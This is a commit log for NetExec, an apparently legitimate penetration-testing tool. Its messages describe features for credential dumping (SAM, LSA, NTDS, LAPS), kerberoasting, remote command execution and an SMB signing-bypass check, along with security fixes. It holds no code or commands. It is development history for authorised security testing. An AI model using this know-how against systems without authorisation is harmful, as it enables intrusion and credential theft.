Compare commits

...
533 Commits
Author SHA1 Message Date
Alex 0a8b9ddff3 Merge pull request #1511 from Pennyw0rth/neff-dont-kill 2026-11-07 18:30:22 +01:00
mpgn 1de39bf66b Merge pull request #1486 from Pennyw0rth/rdp-screenshot-reuse-session
rdp: keep the login session for --screenshot, -x and -X
2026-11-07 18:29:23 +01:00
Alexander Neff 7d0074e311 Add kill option to teams db 2026-11-07 18:20:34 +01:00
Alexander Neff 6431599d0f Formatting 2026-11-07 18:00:10 +01:00
Alexander Neff a9e34aa904 Add instructions about protocols 2026-11-07 17:57:16 +01:00
Alexander Neff 2d3d5fb16e Formatting 2026-11-07 17:53:51 +01:00
Alexander Neff 851e3a49c9 Formatting 2026-11-07 17:52:24 +01:00
Alex ab4f81ad57 Merge pull request #1505 from Ryan-DV/fix/nessus-parser-protocols
Add parser support for extra protocols
2026-11-07 16:13:11 +01:00
Alex 3e9b1aa0db Merge pull request #1434 from crosscutsaw/presence-fix
presence fix and improvement
2026-11-07 16:12:53 +01:00
Alexander Neff bc0d65c0ad Revert removing alternative domain/dc vars for cross domain auth 2026-11-07 16:08:09 +01:00
Alexander Neff 9c708494aa Formatting 2026-11-07 16:03:31 +01:00
Alexander Neff f9727f144d Formatting 2026-11-07 15:59:53 +01:00
Alexander Neff d7393f685c Use kdcHost instead of manual arg 2026-11-07 15:57:18 +01:00
Alexander Neff a4f86d270c Formatting 2026-11-07 15:56:03 +01:00
Alex 841d7fe222 Merge pull request #1509 from 0xAnk/patch-1
fix(change-password): trigger null-session fallback on STATUS_USER_SESSION_DELETED
2026-11-06 08:54:14 +01:00
0xAnk 0187d86adb fix(change-password): trigger null-session fallback on STATUS_USER_SESSION_DELETED
Signed-off-by: 0xAnk <[email protected]>
2026-11-06 06:00:14 +05:00
Ryan 349cbd7172 Add parser support for extra protocols
Signed-off-by: Ryan <[email protected]>
2026-11-02 15:42:51 +01:00
mpgn c69c4b8ba7 rdp: fail -x/-X/--screenshot right away without credentials 2026-11-02 14:59:16 +01:00
mpgn c8a35f7813 rdp: keep the login session for --screenshot, -x and -X 2026-11-02 14:59:09 +01:00
mpgn f08f65a459 Merge pull request #1498 from nikaiw/fix/ldap-paging-no-ntlm
Always page LDAP searches, not only when NTLM is available
2026-11-01 18:46:31 +01:00
Azox 6965632b46 Merge pull request #1503 from Pennyw0rth/feat/azox-impacket-pkinit 2026-10-31 21:29:18 +01:00
azoxlpf 499219b5d9 Inline protocol checks, take the parsed username for PKINIT, drop RDP double if 2026-10-31 20:50:10 +01:00
azoxlpf a88b16634d Fix certificate auth regressions from review 2026-10-30 23:44:56 +01:00
mpgn ba6a16558a Update nxc/protocols/ldap.py
Signed-off-by: mpgn <[email protected]>
2026-10-30 23:42:03 +01:00
Azox 93d62e5ee2 Merge pull request #1504 from aas-n/reauth_swap-lockout-handling 2026-10-30 23:30:20 +01:00
Lyderic Lefebvre 0ad109c170 reauth_swap: clearer failure handling, lockout warning, CVE reference 2026-10-30 18:36:05 +01:00
azoxlpf d78d3badb0 Use impacket PKINIT for certificate auth and add --unpac to SMB 2026-10-29 22:06:49 +01:00
Azox 30cf146578 Merge pull request #1494 from gzzcoo/fix/ldap-lapsv2-kerberos-rpc 2026-10-29 16:54:46 +01:00
azoxlpf 31a98e5b02 Use a single failure sentinel in LAPSv2Extract.run() 2026-10-29 15:09:23 +01:00
mpgn 69f281055e Merge pull request #1489 from Pennyw0rth/deps-cleanup 2026-10-28 19:05:26 +01:00
mpgn 3e0f905609 Bump dploot to 4.1.3 2026-10-28 16:50:10 +01:00
Alex 8dfbc5941d Merge pull request #1495 from aas-n/feat/reauth-swap-module
Add reauth_swap module: check cross-user SMB re-auth swap (enforced signing bypass viability)
2026-10-28 09:55:53 -04:00
mpgn 2943ec4fb4 Bump impacket to fortra/impacket master 3ee67be6 2026-10-28 07:08:08 +01:00
Alexander Neff f16d0f8cf8 Remove unused imports 2026-10-28 00:26:49 +01:00
Alex 8ca80f1522 Merge pull request #1501 from Pennyw0rth/neff-uppercase-nbt-name 2026-10-27 16:02:26 -04:00
Alex ecbf7b5dd8 Merge branch 'main' into neff-uppercase-nbt-name 2026-10-27 16:00:02 -04:00
Alex 21d14df973 Merge pull request #1500 from Pennyw0rth/neff-uppercase-nbt-name 2026-10-27 15:30:13 -04:00
Alexander Neff 6a07de72a2 Formatting and some comments 2026-10-27 20:21:41 +01:00
Alexander Neff e48413e448 Alert the user if something goes wrong 2026-10-27 20:16:38 +01:00
Alexander Neff 3ff527b698 Use built-in smb conn reestablisher 2026-10-27 20:16:21 +01:00
Alexander Neff 8a8d4ec93e Formatting 2026-10-27 20:07:37 +01:00
Alexander Neff add06debbc Formatting 2026-10-27 20:07:08 +01:00
mpgn 821c17563e Show undecodable WAM tokens with fail() 2026-10-27 19:44:36 +01:00
mpgn e13597cb8e Merge pull request #1499 from Pennyw0rth/dpapi-lsa-regdump
Use regdump in the --dpapi LSA pass
2026-10-27 19:40:27 +01:00
Alexander Neff 468c4f93b9 Formatting 2026-10-27 19:28:12 +01:00
Alexander Neff 0e4959c10d Formatting 2026-10-27 19:27:43 +01:00
Alexander Neff 6fbea2ae1d Move module doc 2026-10-27 19:27:21 +01:00
Alexander Neff e5ff59ae0a Fix casing of hostname 2026-10-27 18:22:21 +01:00
Alexander Neff 1b9435e668 Fix casing of hostname 2026-10-27 18:19:40 +01:00
mpgn b7565a2cbf Drop the MSCache skip from the --dpapi LSA pass 2026-10-27 16:57:21 +01:00
mpgn 74e9fe27ed Use regdump and skip MSCache in the --dpapi LSA pass
--dpapi calls lsa() without --lsa, so args.lsa is None and the
== "regdump" checks sent it to secdump: the SECURITY hive was saved to
C:\Windows\Temp and parsed over SMB. The pass also dumped the cached
domain logons, although DPAPI only needs the DPAPI_SYSTEM key. Only
pick secdump when it is asked for, and skip MSCache in the quiet pass.
2026-10-27 11:19:53 +01:00
NKandClaude Opus 4.8 62e40f2423 Always page LDAP searches, not only when NTLM is available
The LDAP paged search control was only sent when self.no_ntlm was
false. self.no_ntlm is set when the DC does not answer the NTLM
(sicilyNegotiate) probe during host-info collection, which is common on
hardened / Kerberos-only DCs. Whether the server speaks NTLM is
unrelated to whether it supports paging (control 1.2.840.113556.1.4.319).

impacket's LDAPConnection.search() does not page on its own: it only
loops over result pages while it receives a SimplePagedResultsControl in
the request. With no_ntlm true, NetExec passed no control, so against a
large directory AD capped the result at 1000 entries and raised
sizeLimitExceeded. The handler logs the failure and returns [], so every
large search (--kerberoasting, --users, --bloodhound, ...) silently came
back empty with "No entries found!".

Send the paged control unconditionally so all entries are retrieved
regardless of the DC's NTLM support or the bind method used.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-10-27 02:13:27 +01:00
mpgn 30b3a6543b Merge pull request #1480 from Pennyw0rth/kerberos-tgt-reuse-dcom 2026-10-26 22:22:41 +01:00
mpgn 5a4ef2d5ac Remove the LAPS screenshots from the repository 2026-10-26 21:48:28 +01:00
mpgn 02aae10963 Fix the GKDI host for --laps and pass the AES key to LAPSv2Extract
- laps_search() bound MS-GKDI on the scanned host (self.host/self.remoteName),
  which broke --laps on smb/winrm/mssql/rdp; use the DC (kdcHost) instead
- pass the AES key so -k --aesKey can bind GKDI with Kerberos
- drop the always-true rpc_name/hasattr checks, the no-op setRemoteHost()
  and the try/except around json.loads in the module
2026-10-26 21:48:22 +01:00
mpgn 9d6a6d7911 Merge pull request #1482 from Pennyw0rth/smb-exec-fast-output-poll 2026-10-26 15:08:36 +01:00
mpgn 99c88e562e Fix the double backslash in exec output file paths 2026-10-26 13:14:34 +01:00
mpgn 73ec147399 Merge pull request #1484 from Pennyw0rth/list-modules-ast 2026-10-26 13:07:36 +01:00
mpgn 10ddc3df9d Report exec output files that could not be deleted
A failed delete can leave the command output on the target: with a
blocked share, wmiexec, mmcexec and atexec still write it to
C:\Windows\Temp. Log it as an [OPSEC] fail, unless the file does not
exist.
2026-10-26 13:06:54 +01:00
mpgn 440ca60684 Reuse module_is_sane() for the static -L listing
The static reader repeated the checks of module_is_sane() in one long
condition. It now builds a namespace from the literal values and the
method names of the class and runs module_is_sane() on it. load_module()
no longer checks again the modules that list_modules() already checked.
2026-10-25 18:57:50 +01:00
Alexander Neff 719add5367 Formatting 2026-10-25 15:27:22 +01:00
mpgn c2d7fdb8a5 Add missing hidden imports to the PyInstaller spec
Protocols and modules ship as data files, so PyInstaller never sees
their imports. The binary crashed on smb, wmi, winrm and mssql
(impacket.dcerpc.v5.tsts, nxc.helpers.dpapi, dploot.lib.network.*) and
failed to load maq, raisechild, firefox, presence, resetnightmare,
shadow-creds and mremoteng.
2026-10-24 22:23:21 +02:00
mpgn 70e385a27e Log skipped unreadable WAM tokens in debug 2026-10-24 22:23:21 +02:00
mpgn 3b827ef2d3 Import user modules for -L and comment the static guards
-L listed a user module that fails at import without any error. Only the
modules shipped with nxc are now read with ast, so ~/.nxc/modules keeps
the import and its "Failed loading module" message. Also comment what
each fallback guard protects and why the static result has no options key.
2026-10-24 21:52:40 +02:00
mpgn 61287f0bf9 Move the exec output read loop into one helper
wmiexec, mmcexec, atexec and smbexec had four copies of the same
read/retry loop, and the wmiexec copy had already drifted (no
--get-output-tries hint, different blocked-share message). They now
call get_output_file(), where the quick-read window is a single 0.4s
deadline. smbexec keeps reading right away.
2026-10-24 21:42:04 +02:00
Alex 495d770afd Merge pull request #1497 from Barneee/Barneee-add-arctic-wolf-enum 2026-10-23 09:52:34 -04:00
Dennis Barnekow fdf5e491f0 Add Arctic Wolf detection to enum_av
Signed-off-by: Dennis Barnekow <[email protected]>
2026-10-23 15:07:48 +02:00
Lyderic Lefebvre 56e535a637 Add reauth_swap module: check cross-user SMB re-auth swap (enforced signing bypass viability) 2026-10-22 16:40:09 +02:00
Azox e2b8c4962a Merge pull request #1496 from Pennyw0rth/feat/azox-webdav
Adds CVE-2026-102217  to the enum_cve module
2026-10-22 15:42:31 +02:00
azoxlpf 913fc5ba71 Added CVE-2026-102217 check 2026-10-22 14:32:28 +02:00
mpgn 6cc7347d0f Resync the PR after the GitHub incident 2026-10-21 19:41:01 +02:00
mpgn d26884a540 Merge branch 'main' into kerberos-tgt-reuse-dcom 2026-10-21 17:11:05 +02:00
Alex bd0dcf55b9 Merge pull request #1491 from Pennyw0rth/wmi_fix_checkadmin
Fix for #1490
2026-10-21 10:39:47 -04:00
mpgn 20731f4009 Reset the WMI TGT per attempt and reuse the TGT in the rdp module 2026-10-21 15:38:32 +02:00
Azox 2f0021c436 Merge branch 'main' into rdp-screenshot-reuse-session 2026-10-21 15:22:21 +02:00
mpgn ae14dd2bbc rdp: don't run -x/--screenshot after a failed login
rdp never set self.username, so proto_flow() treated every rdp run as one without credentials and ran -x/--screenshot even after a failed login, retrying the bad password. Set it like the other protocols do.
2026-10-21 15:12:05 +02:00
mpgn d65d2cb51d rdp: report screenshot errors and close the NLA probe through a local 2026-10-21 15:12:02 +02:00
gzzcoo 0da788f021 Drop unrelated LAPS command inventory change 2026-10-21 13:12:14 +02:00
gzzcoo b8e892ae41 Add LAPS v2 before and after screenshots 2026-10-21 13:07:58 +02:00
gzzcoo 8678bf9cbb Fix Kerberos RPC for LDAP LAPS v2 2026-10-21 12:54:30 +02:00
Alexander Neff 36e9731b2c Remove duplicate proto log specification 2026-10-20 11:57:55 -04:00
zblurx e55cc5d23d ruff 2026-10-20 13:42:55 +02:00
zblurx 949ffa5439 revert first fix 2026-10-20 13:42:05 +02:00
zblurx 133e7ff5bd Merge branch 'wmi_fix_checkadmin' of github.com:Pennyw0rth/NetExec into wmi_fix_checkadmin 2026-10-20 13:40:26 +02:00
zblurx e6a4d9f2f0 fix wmi bruteforce bug 2026-10-20 13:40:18 +02:00
zblurx d1464494a8 new fix for #1490 2026-10-20 13:34:55 +02:00
zblurx df356ca087 fix for #1490 2026-10-20 10:17:16 +02:00
mpgn ae683dba10 Merge pull request #1483 from Pennyw0rth/fix/dc-detect-rpc-plain-scan 2026-10-19 12:55:00 +02:00
mpgn de8c1353e6 Use None instead of 0 for an unknown OS arch 2026-10-19 11:30:08 +02:00
Azox b29b2a7e13 Merge pull request #1488 from azoxlpf/fix/schannel-no-empty-ntlm-login
Move the LDAP-to-SMB session to a helper and guard it on schannel
2026-10-18 22:55:27 +02:00
Azox e1daa2936c Merge pull request #1456 from rtpt-romankarwacik/smb_remotename_dns
Change SMB remoteName resolution
2026-10-18 21:59:50 +02:00
mpgn 4f9d13c27a rdp: address review on --screenshot session reuse
- --screentime: single default of 5 s for --screenshot and --nla-screenshot
- run every RDP call on the per-target event loop (opened and closed in
  proto_flow), and close check_nla's probe socket
- --continue-on-success: keep the session of the last successful login,
  as before
- print a failure when no desktop data arrived within --screentime
2026-10-18 16:18:20 +02:00
azoxlpf 680a38e486 Move the schannel guard into the helper and return None 2026-10-18 15:52:44 +02:00
mpgn dbc3e3cd21 Remove unused dependencies and fix wam token decoding
Drop beautifulsoup4, jwt, python-dateutil and flake8. The jwt package is
not PyJWT, so -M wam never decoded a token; decode the payload with the
stdlib instead. Replace relativedelta in --pso, which also fixes minutes
for durations of one hour or more.
2026-10-18 15:19:52 +02:00
azoxlpf 3e02616568 Move the LDAP-to-SMB session to a helper and guard it on schannel 2026-10-18 14:52:55 +02:00
mpgn f0ef5d685d rdp: honor --screentime for --screenshot
--screenshot always waited a fixed 5 s and ignored --screentime. Default
--screentime to None: --screenshot keeps waiting 5 s and --nla-screenshot
10 s unless --screentime is given.
2026-10-17 23:43:11 +02:00
mpgn 3db9914628 rdp: reuse the login session for --screenshot
--screenshot opened a second full RDP session after the login only to
grab the desktop. Run the login and the screenshot on one event loop
per target, keep the login session open for the screenshot, merge the
two screenshot-saving blocks, and stop PNG-encoding updates that
nothing reads.
2026-10-17 23:16:06 +02:00
Alexander Neff cbb214b7e4 Merge branch 'main' into smb_remotename_dns 2026-10-17 20:52:26 +02:00
mpgn 3618aa4fbd Read module metadata statically for -L
-L executed every module file to print its name, description and
category. list_modules() without names now reads that metadata with ast
(get_module_info_static), and only falls back to importing a module
when its metadata is not a plain literal.
2026-10-17 20:36:07 +02:00
mpgn 0615464f7a Merge pull request #1083 from serwiz/maq/privileges
Add SeMachineAccountPrivilege to maq module
2026-10-17 20:31:14 +02:00
mpgn 17166719c6 Detect DCs over RPC on plain scans by reusing the arch probe on 135
get_os_arch() already connects to the endpoint mapper on port 135 for every
host, so the Netlogon lookup adds no new port. Run it before is_host_dc() and
gate the RPC tier on its result instead of probing 135 again. DCs that refuse
the null session (Server 2025 by default) are now flagged without
--generate-*, and nothing extra is sent when 135 is filtered (proxychains).
Kerberos (88) stays limited to NTLM-disabled hosts and --generate-*.

The os_arch == 0 conditions of the Samba check were always true since the
arch was only computed afterwards; drop them to keep the same result.
2026-10-17 20:28:44 +02:00
mpgn f2dc91e16b Merge pull request #1481 from Pennyw0rth/load-requested-module-only
Load only the requested module with -M
2026-10-17 20:24:04 +02:00
mpgn f50d8d8322 Merge pull request #1464 from Pennyw0rth/fix/schtask-as-cert-cleanup
Fix schtask_as certreq: delete only the enrolled cert, and don't hang when the run-as user has no session
2026-10-17 19:38:15 +02:00
mpgn 23e097975a Merge pull request #1463 from Pennyw0rth/fix/cleanup-on-failure
Fix leftover files on target when --sam/--lsa/lsassy fail
2026-10-17 19:37:46 +02:00
mpgn 28b9d077a3 smb exec: read the command output sooner (wmiexec, mmcexec, atexec)
Poll for the output file quickly during the first 0.4 s instead of
sleeping 0.4 s before the first read. Fast polls do not count against
--get-output-tries, so the retry budget is unchanged.
2026-10-17 19:28:00 +02:00
mpgn f85c1e54ab Load only the requested module with -M
-M executed every module file to find the requested one. list_modules()
now takes the requested names and only loads those files, keeping the
same precedence (NXC_PATH/modules over built-in modules).
2026-10-17 19:27:55 +02:00
mpgn c573cdb203 Kerberos: reuse the login TGT for WMI/DCOM binds
With -k and a password, hash or AES key, pass the TGT obtained at login
to the WMI and DCOM binds instead of letting impacket request a new one
on every bind. An exported KRB5CCNAME is no longer used for these binds
unless --use-kcache is given.
2026-10-17 19:27:51 +02:00
serwiz c6ff87ba0d Fix schannel usage with MAQ module and removed policies_dn 2026-10-17 19:05:58 +02:00
Alex e24a78f5df Merge branch 'main' into fix/schtask-as-cert-cleanup 2026-10-17 11:54:12 -04:00
Alexander Neff 26d8fd291c Formatting 2026-10-17 17:35:59 +02:00
Alexander Neff adb3b48138 Formatting 2026-10-17 17:34:05 +02:00
Alexander Neff 5314ae2a00 Fix SMB args 2026-10-17 17:25:32 +02:00
Alexander Neff 6b4247eb60 Formatting 2026-10-17 17:22:18 +02:00
Alexander Neff 0b65706ea1 Formatting 2026-10-17 17:20:06 +02:00
Alexander Neff f261dea428 Formatting 2026-10-17 17:18:17 +02:00
Alexander Neff fd761d8371 Move login function to top of module 2026-10-17 17:17:52 +02:00
Alexander Neff 3a4630fc7b Fix wrong if statement order 2026-10-17 16:50:05 +02:00
Alexander Neff 2ced678694 Use NetBIOS name if host does not return DNS name 2026-10-17 16:49:54 +02:00
Alex 8a502536d5 Merge pull request #1477 from 0xdf223/fix/dc-detect-no-null-session
Treat missing null session as inconclusive in SMB DC detection
2026-10-17 10:43:08 -04:00
oxdfandClaude Opus 5.5 35a02b4059 Treat missing null session as inconclusive in SMB DC detection
_is_dc_via_smb() assumed a DC with NTLM enabled always accepts a null
session, so it returned False when the null bind failed. Server 2025 DCs
refuse anonymous SMB sessions by default, so they were marked as not a DC
and the RPC/Kerberos probes never ran. This broke --generate-krb5-file and
--generate-hosts-file against those DCs.

Return None instead so the remaining probes decide.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-17 08:26:47 -04:00
Alex 98a4679a23 Merge pull request #1475 from Pennyw0rth/neff-improve-loadtime 2026-10-16 13:38:23 -04:00
mpgn 9ddb09a0bc Merge pull request #1277 from azoxlpf/feat/add-schannel
add Schannel certificate authentication via --schannel
2026-10-16 19:17:32 +02:00
Alexander Neff a5e9d4a4e5 Move CCache import as well 2026-10-16 17:48:43 +02:00
Alexander Neff 7b98eccef5 Ruff 2026-10-16 17:30:21 +02:00
Alexander Neff a1036a1677 Load heavy imports conditionally 2026-10-16 17:28:27 +02:00
Alex 901d53ade4 Merge pull request #1473 from azoxlpf/fix/rdp-os-detection
Resolve RDP server OS from the NTLM build number
2026-10-16 11:26:09 -04:00
Alexander Neff 396e34fe82 Remove unused import 2026-10-16 17:22:48 +02:00
Alexander Neff b09311a9df Move dcom logic from connection to helpers 2026-10-16 17:22:14 +02:00
azoxlpf 62fc9a6ffa Fall back to the raw 10.0 version for builds missing from WIN_VERSIONS 2026-10-16 12:05:48 +02:00
azoxlpf aaaa369156 Resolve RDP server OS from the NTLM build number 2026-10-16 11:26:14 +02:00
serwiz 34bc130329 Change the way requesting LDAP to avoid removed GPO error. Now silently skipped while ACCESS DENIED still available. 2026-10-16 10:44:13 +02:00
azoxlpf 57daa0baeb add the e2e test certificate for the Schannel commands 2026-10-16 10:01:55 +02:00
azoxlpf 7eb995f6cb skip the database entry for certificate binds, move the --schannel argument check to netexec.py 2026-10-16 09:17:22 +02:00
serwiz 98376de004 Ruff stuff 2026-10-16 00:02:38 +02:00
serwiz 7a7d8653ba Merge branch 'maq/privileges' of github.com:serwiz/NetExec into maq/privileges 2026-10-15 23:52:23 +02:00
serwiz 865ea743ba Added minor improvments as suggested (remove ldap3 dependencies, verbose when ACCESS DENIED on GPO, support mixed value on GptTmpl.inf) with constants.py file included. 2026-10-15 23:50:37 +02:00
mpgn e5d11260e3 Merge branch 'main' into maq/privileges 2026-10-15 22:53:24 +02:00
serwiz f23ed12e80 applied priority order and resolved previous comments 2026-10-15 22:33:19 +02:00
azoxlpf bf32ced7d7 Add e2e commands 2026-10-15 22:07:28 +02:00
azoxlpf 59c451d36f resolve the Schannel account domain from whoami 2026-10-15 17:25:36 +02:00
mpgn 735ccc3db2 bump also poetry.lock 2026-10-15 16:01:00 +02:00
azoxlpf bcf045a882 use impacket LDAP whoami instead of a hand-rolled extended request 2026-10-15 15:37:03 +02:00
azoxlpf f51dd4f4df Merge branch 'main' into feat/add-schannel 2026-10-15 15:25:12 +02:00
serwiz df6ad2f26d Removed empty lines 2026-10-15 13:42:52 +02:00
serwiz a7c0968348 Review @Azoxlpf comments and enhance SeMachineAccountPrivilege Output 2026-10-15 11:17:52 +02:00
serwiz a67f07f54e Added Dfte patch 2026-10-15 00:40:34 +02:00
mpgn 89a698d93d Merge pull request #1468 from Pennyw0rth/certipy-nxc 2026-10-14 20:12:24 +02:00
mpgn 6c312cd791 deps: declare certipy-nxc exclude-newer override in pyproject so CI keeps the lockfile 2026-10-14 18:21:15 +02:00
mpgn 0602ef4367 deps: replace certipy-ad git fork with certipy-nxc from PyPI
The Pennyw0rth/Certipy fork, synced with ly4k/Certipy main (incl. #348), is now published on PyPI as certipy-nxc 5.1.0.post1. The fork keeps Python 3.11 support and allows impacket 0.14.0.dev. uv.lock overrides exclude-newer for certipy-nxc so it can be locked right after publishing. Fixes pip/pipx installs, which failed after the fork was renamed.

Tested certipy-find against an AD CS lab on Python 3.11 and 3.13.
2026-10-14 18:18:46 +02:00
mpgn a37a4438a1 fix(atexec): simplify the task-run wait with for/else, add a grace period, fail on task delete error 2026-10-13 22:42:43 +02:00
mpgn 0ae3cc9a39 fix(atexec): simplify the task-run wait, add a grace period for slow hosts, fail on task delete error 2026-10-13 22:38:12 +02:00
mpgn 39e46f2143 Move the SMB --sam/--lsa cleanup to #1465 2026-10-13 22:25:42 +02:00
mpgn f7bc61347a fix(lsassy,hash_spider): drop redundant try/except around ImpacketFile.delete 2026-10-13 22:21:15 +02:00
mpgn 8cd06f5434 fix schtask module 2026-10-12 22:49:50 +02:00
mpgn db7791d60c fix various problem 2026-10-12 19:27:59 +02:00
Alex 28e585121f Merge pull request #1462 from Pennyw0rth/neff-improve-mssql-output 2026-10-12 00:21:42 +02:00
Alexander Neff f7835c3ba7 Add simple visual separater 2026-10-11 18:14:03 -04:00
Alexander Neff 185c11390b Simplify logic 2026-10-11 18:02:01 -04:00
Alexander Neff 315abab0b2 Stay with IP as remoteName if not required by Kerberos 2026-10-11 17:57:53 -04:00
mpgn a419bd58e3 Merge pull request #1329 from Adamkadaban/rdp-exec-reliability-final
[Draft] Fix RDP command execution reliability
2026-10-11 18:22:53 +02:00
mpgn 893ff6f1ff fix(rdp): non-NLA fallback for auth_only exec check + builtin TimeoutError; warn on -X too 2026-10-11 18:12:10 +02:00
mpgn 1d8296c67c fix ruff 2026-10-11 17:39:04 +02:00
mpgn ca96761290 Merge remote-tracking branch 'upstream/main' into rdp-exec-reliability-final
# Conflicts:
#	nxc/protocols/rdp.py
2026-10-11 16:29:31 +02:00
mpgn e9fd573953 Merge pull request #1348 from azoxlpf/fix/rdp-pwned-gui-access
Only mark RDP hosts Pwn3d when a real session actually opens
2026-10-11 16:07:45 +02:00
mpgn 93afe3e049 fix ruff 2026-10-11 16:06:29 +02:00
mpgn f5d2c8803f bump aardwolf 2026-10-11 15:58:12 +02:00
mpgn 90f2d9c165 Merge branch 'main' into fix/rdp-pwned-gui-access 2026-10-11 15:54:34 +02:00
mpgn 9ec65be0c8 Merge pull request #1379 from Pennyw0rth/wmi_dump
[WMI] Add SAM, LSA and NTDS dump
2026-10-11 10:40:12 +02:00
mpgn c6665867bf Merge pull request #1461 from Pennyw0rth/raisechild 2026-10-11 09:47:19 +02:00
mpgn 43c569aa8d update lock files 2026-10-10 23:06:41 +02:00
mpgn f8b53ae8ba update lock files 2026-10-10 22:40:08 +02:00
mpgn f0c40cd85d fix raisechild module 2026-10-10 22:39:57 +02:00
Alexander Neff 311441c429 Expand remoteName to other protocols and only use FQDN if kerberos is required 2026-10-08 13:42:40 -04:00
Alexander Neff 081107a9ce Replace undefined target variable with remoteName 2026-10-08 13:15:38 -04:00
Alexander Neff b99fa8b8f2 Add sanitization 2026-10-08 13:13:04 -04:00
Alexander Neff 3f28024429 Add sanitization 2026-10-08 13:10:33 -04:00
Roman Karwacik 4bc98e7899 coerce_plus: use remoteName as target 2026-10-07 11:58:42 +02:00
Roman Karwacik 88ee0ce2f6 smb: Add debug message to show which ticket is being requested 2026-10-07 11:43:38 +02:00
Roman Karwacik c501de88c8 smb: Change default SPN (remoteName) resolution to use DNS name 2026-10-07 11:43:38 +02:00
Alex 306bf295dc Merge pull request #1453 from BepuSun/fix_rclone 2026-10-05 00:15:43 +02:00
BepuSun 0c21bf9bcd Ketp AES.block_size in rclone.py
Signed-off-by: BepuSun <[email protected]>
2026-10-04 23:36:29 +02:00
BepuSun ec6d41f10e fix rclone padding and library 2026-10-04 15:19:41 -04:00
BepuSun 7135d89d92 fix rclone padding and library 2026-10-04 15:03:26 -04:00
Alex 94048441cb Merge pull request #1450 from Pennyw0rth/neff-remove-py3.10
Remove Python 3.10
2026-10-03 01:42:17 +02:00
Alexander Neff 609f03a184 Remove py3.10 2026-10-02 19:11:08 -04:00
Alexander Neff 535f26ddc5 Update lock files 2026-10-02 18:39:13 -04:00
Alexander Neff 8f2fa9689e Ruff fixes 2026-10-02 18:32:47 -04:00
Alexander Neff 9592f690fd Remove py3.10 2026-10-02 18:32:29 -04:00
Alexander Neff 0ded751b31 Wording 2026-10-02 18:20:49 -04:00
Alex 8adf9cbd55 Merge pull request #1448 from snowpeacock/main
feat: switch --ntds vss method to remoteSSWMI
2026-10-03 00:17:08 +02:00
Alexander Neff 7a199c211f Formatting 2026-10-02 18:12:17 -04:00
Alexander Neff ea761c1330 Sanitize filename 2026-10-02 18:12:12 -04:00
Alex d688285c76 Merge branch 'main' into main 2026-10-01 18:47:25 +02:00
zblurx 064374ceb9 Merge branch 'wmi_dump' of github.com:Pennyw0rth/NetExec into wmi_dump 2026-10-01 10:03:29 +02:00
zblurx 07aef24f0f fix error with shadow copy filesize 2026-10-01 10:03:25 +02:00
Alex 3e0e37e8b5 Merge pull request #1444 from Pennyw0rth/fix-path-traversals
Fix all kinds of security issues
2026-09-30 21:04:49 +02:00
snowpeacock b37469c673 feat: switch VSS method to remoteSSWMI 2026-09-30 16:06:01 +02:00
zblurx 59bfc04b7e Merge branch 'main' into wmi_dump 2026-09-30 15:50:29 +02:00
zblurx 641ba4d486 ruff 2026-09-30 15:42:53 +02:00
zblurx 61bec860e9 change logic in wmi read_file 2026-09-30 15:41:53 +02:00
Alex 47025801b1 Merge pull request #1447 from Pennyw0rth/neff-fix-tasklist-kill 2026-09-27 23:37:06 +02:00
Alexander Neff 71c36e9a09 Fix new task format for task killing 2026-09-27 17:23:06 -04:00
Alexander Neff 6555186bce Fix new task format 2026-09-27 17:15:13 -04:00
Alexander Neff bb7afd4a09 Fix lock file 2026-09-27 17:14:59 -04:00
Alex 226a2f4d3e Merge pull request #1446 from Pennyw0rth/neff-improve-PR-template
Enforce AI usage rules
2026-09-27 23:05:03 +02:00
Alexander Neff e056c5a857 Enforce AI usage rules, also trim down a bit 2026-09-27 17:00:11 -04:00
Alexander Neff d8bc2f7dc8 Remove bullshit tests 2026-09-27 16:37:38 -04:00
Alexander Neff 13d00e4b22 Losen filename restrictions to allow curly braces and fix tests 2026-09-27 16:35:38 -04:00
Alexander Neff 910415c897 Losen DNS sanitization to allow weird windows dns names 2026-09-27 16:29:23 -04:00
Alexander Neff 91b0964e75 Prevent path traversal attacks 2026-09-27 16:18:31 -04:00
Alexander Neff 4187fa7bf7 Prevent sql injection 2026-09-27 16:13:37 -04:00
Alex 74c93d147d Merge pull request #1388 from Diogo-Damasceno/fix/ldap-query-non-entry-1349-clean
Fix #1349: skip non-SearchResultEntry objects in LDAP --query
2026-09-27 22:13:25 +02:00
Alexander Neff ba64b23ff5 Add patch by @azoxlpf fixing --query when receiving non-searchresult entries 2026-09-27 16:06:14 -04:00
Alexander Neff 752c43f0c8 Delete tests 2026-09-27 16:01:41 -04:00
Alex 641f99d192 Merge pull request #736 from Fabrizzio53/main
Create tombstone module
2026-09-25 16:24:09 +02:00
Alexander Neff a47d07e005 Preserve remote filename while sanitizing local file name 2026-09-24 17:05:18 -04:00
Alexander Neff 87d34add5f Preserve remote filename while sanitizing local file name 2026-09-24 17:04:50 -04:00
Alexander Neff bde37055bc Sanitize SMB download folder 2026-09-24 16:35:52 -04:00
Alexander Neff 654f3c12d8 Sanitize SMB input 2026-09-24 16:25:00 -04:00
Alexander Neff 31ca909e4e Add tests 2026-09-24 16:19:28 -04:00
Alexander Neff 5e31253313 Sanitize SQL statements 2026-09-24 16:19:11 -04:00
Alexander Neff 150f323e90 Add DNS sanitization 2026-09-24 16:17:08 -04:00
Alexander Neff 736ca36c56 Add AGENTS.md instructions 2026-09-24 14:20:31 -04:00
Alexander Neff 25076be9df Add tests 2026-09-24 13:17:26 -04:00
Alexander Neff 88c4963fc6 Sanitize manual NTLM challenge parsing 2026-09-24 13:17:17 -04:00
Alexander Neff c812041b17 Apply path sanitization 2026-09-23 15:22:05 -04:00
Alexander Neff 23be541d0a Add comments 2026-09-23 15:02:47 -04:00
Alexander Neff a995133e83 Add path sanitizer 2026-09-23 14:57:19 -04:00
Alexander Neff c375b3bb8c Add DNS sanitization function 2026-09-23 14:52:09 -04:00
Alex 4134e689e0 Merge pull request #1387 from Diogo-Damasceno/fix/nxcdb-host-csv-header
Fix #1385: derive nxcdb hosts CSV header from the protocol's HostsTable
2026-09-23 20:27:47 +02:00
Alex 83df61b0bd Merge pull request #1384 from Diogo-Damasceno/fix/ssh-key-type-rejected
ssh: distinguish 'key type rejected by server' from invalid passphrase (issue #1356)
2026-09-23 20:24:56 +02:00
Alexander Neff bd87cc26ee Remove tests file 2026-09-23 14:19:43 -04:00
Alexander Neff 1b3f75b06b Add patch by @azoxlpf fixing nxcdb export headers 2026-09-23 14:18:27 -04:00
